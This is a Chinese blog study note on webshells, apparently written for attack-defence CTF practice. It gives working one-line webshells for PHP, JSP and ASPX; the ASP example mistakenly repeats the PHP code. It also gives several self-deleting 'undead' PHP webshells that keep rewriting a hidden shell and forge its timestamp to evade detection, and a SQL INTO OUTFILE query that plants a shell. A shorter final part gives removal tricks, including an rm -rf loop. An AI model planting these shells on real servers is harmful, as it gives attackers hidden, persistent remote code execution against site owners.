木馬學習

Bolerat發表於2024-04-20

木馬學習

一句話木馬

案例(不免殺)

php

<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>

asp

<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>

jsp

<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

aspx

<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

含義

  • eval() 把字串作為PHP程式碼執行,如果過濾了eval,可以使用assert繞過

  • @ 不報錯並執行

  • $_POST[cmd] 使用post方法,傳入變數,可上傳對應命令,過濾了GET和POST的情況下,可以用 _REQUEST

    • <form  action="xxx.php"  name="cmd"  method="post">
      

花式木馬

不死馬
<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //刪除自身,呼叫unlink()的時候,檔案還是存在的,只是目錄裡找不到該檔案了,但是已經開啟這個檔案的程序可以正常讀寫
	$file='./.index1.php';
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //建立shell.php,這裡最好用免殺的一句話,可見下方不死馬
 sleep(10); //間隔時間
}
?>
<?php
    ignore_user_abort(true); //忽略使用者中止連線
    set_time_limit(0); //不限制指令碼執行時間
    $file = '.zzy.php'; //建立的是隱藏檔案
    $code = '<?php if(substr(md5($_POST["pass"]), 0, 8) . substr(md5($_POST["pass"]), -8) == "0799f9ba90ca700f"){@eval($_POST["QAXanquanyige_nb"])};';
//用法 ?pass=QAXanquanyige_nb&cmd=phpinfo();
    while (1){
        file_put_contents($file,$code); //code寫入file
        system('touch -m -d "2018-12-01 09:10:12" .zzy.php'); //修改最後檔案修改時間,防止被檢測
        usleep(1000);
    }
?>

以上程式碼中,md5是無法被還原出明文的,是一種摘要演算法,防止其他人利用

// 變種不死馬
// 在 Linux 命令列中,命令在追加引數時都是用的-,所以,如果對這樣方式命名的檔案執行命令,都會將這個檔案當做引數來執行,沒有該引數就會報錯,以至於命令無法在這個不死馬上執行,但缺點就是隱蔽性沒有以.開頭的好。(來自csdn)
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '-test.php';
    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" -test.php');
        usleep(5000);
    }
?>
資料庫寫入(root)
SELECT '<?php @eval($_POST["cmd"])?>' INTO OUTFILE '/app/index1.php'
## select   ‘<?php eval($_POST[cmd])?>’   into outfile ‘物理路徑’

剋制辦法

一般來說刪去對應程式碼就可,但對於不死馬而言,得用些其他辦法。

首先ls和ll無法查詢到不死馬,需要使用

find ./ -cmin -30  #檢視30分鐘內新建立的檔案
或者
find ./ -name .shell.php #知道名字
  1. 寫入同名檔案剋制不死馬(上傳該檔案後並訪問它)
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.test.php';
    $code = 'come on!'; //程式碼無害
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
          usleep(1000); // 時間調小,低於不死馬
    }
?>
  1. 條件競爭查殺不死馬

.sh指令碼:

#!/bin/bash
while true 
do
#kill -9 程序ID 
#ps auxww|grep shell.php 獲取pid
rm -rf .test.php
done

用法:

vim rmss.sh	#新建
chmod 777 rmss.sh #最高許可權
nohup ./rmss.sh & #不斷執行
  1. 重啟php等web服務。
  2. 建立一個和不死馬生成的馬一樣名字的資料夾。

相關文章